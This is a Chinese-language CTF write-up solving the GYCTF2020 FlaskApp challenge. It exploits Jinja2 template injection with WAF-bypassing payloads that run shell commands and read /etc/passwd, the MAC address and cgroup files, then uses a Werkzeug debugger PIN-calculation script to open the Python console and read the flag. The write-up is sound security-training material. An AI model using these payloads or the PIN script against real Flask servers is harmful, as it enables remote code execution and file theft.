0%

[GYCTF2020]FlaskApp

前言:

 ssti 模板注入这一块还是没有吃透啊,难受这题搞的。一定要抽时间透彻的学习学习ssti了。

发现ssti漏洞点

 打开题目,查看hint,失败乃成功之母源码提示pin

  1. 如果解密出错会报错,得到错误页面。有源码泄漏。可以看到如下代码:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    @app.route('/decode',methods=['POST','GET'])

    def decode():

    if request.values.get('text') :

    text = request.values.get("text")

    text_decode = base64.b64decode(text.encode())

    tmp = "结果 : {0}".format(text_decode.decode())

    if waf(tmp) :

    flash("no no no !!")

    return redirect(url_for('decode'))

    [Open an interactive python shell in this frame] res = render_template_string(tmp)
  2. 根据代码,可以知道我们加密后的代码经过waf后就会被直接渲染,那么就可能存在ssti了。
  3. 我们进行绕过来尽可能的达到命令执行,因为有waf,我们对可能进行了过滤的单词使用拆分关键词进行绕过
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    {% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'catch_warnings' %}
    {% for b in c.__init__.__globals__.values() %}
    {% if b.__class__ == {}.__class__ %}
    {% if 'eva'+'l' in b.keys() %}
    {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("ls /").read()') }}
    {% endif %}
    {% endif %}
    {% endfor %}
    {% endif %}
    {% endfor %}
    我们需要将其进行base64编码,这里值得注意的是如果网页不是提示 nonono 而是直接报错,可能是你的base64有问题了。网上有些base64解密确实有问题,多换换,本地工具试试。

计算pin码的方法

只要拿到pin码就相当于拿到了shell,想要拿到PIN码必须知道:

1
2
3
4
5
6
7
usrname: 就是启动这个 Flask的用户
modname: 一般为flask.app
getattr(app, “__name__”, app.__class__.__name__):python该值一般为Flask 值一般不变
getattr(mod, 'file', None):为flask目录下的一个app.py的绝对路径
uuid.getnode():就是当前电脑的MAC地址,str(uuid.getnode())则是mac地址的十进制表达式
get_machine_id() :/etc/machine-id或者 /proc/sys/kernel/random/boot_i中的值
假如是在win平台下读取不到上面两个文件,就去获取注册表中SOFTWARE\Microsoft\Cryptography的值 假如是Docker机 那么为 /proc/self/cgroup docker行

服务器运行flask所登录的用户名

 我们可以查看/etc/passwd文件。使用如下命令

1
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/etc/passwd').read()}}

我们可以知道是flaskweb用户。

getattr(mod, ‘file’, None)flask目录下的app.py的绝对路径

 根据报错信息我们可以知道:

1
/usr/local/lib/python3.7/site-packages/flask/app.py

当前电脑的MAC地址

 我们可以读取/sys/class/net/eth0/address来获得mac的16进制:

1
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/sys/class/net/eth0/address').read()}}

得到02:42:ae:00:1e:0e将其转10进制2485410340366许多工具都不准确,值得注意。

机器的id

 linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows的id获取跟linux也不同。
 对于docker机则读取读取/proc/self/cgroup获取get_machine_id()(docker后面那段字符串)
使用如下:

1
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/proc/self/cgroup').read()}}

得知:

1
e7589bcf11d8b1f072f28454074a932798a86f05827bdbd7707b3c14f75e756c

使用脚本

脚本网上抄的,自己太菜啊啊啊。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb'# username
'flask.app',# modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'2485410340366',# str(uuid.getnode()), /sys/class/net/ens33/address
'e7589bcf11d8b1f072f28454074a932798a86f05827bdbd7707b3c14f75e756c'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

使用上面脚本即可得到 pin码

拿 flag

进入报错页面,鼠标移动到报错代码有一个cmd窗口类似的图标出现在代码右上角,我们点击它然后输入 pin码155-315-752然后就可以执行python shell了
我们使用如下:

1
2
import os
os.popen('cat /this_is_the_flag.txt').read()

即可得到flag。


-------------本文结束感谢您的阅读-------------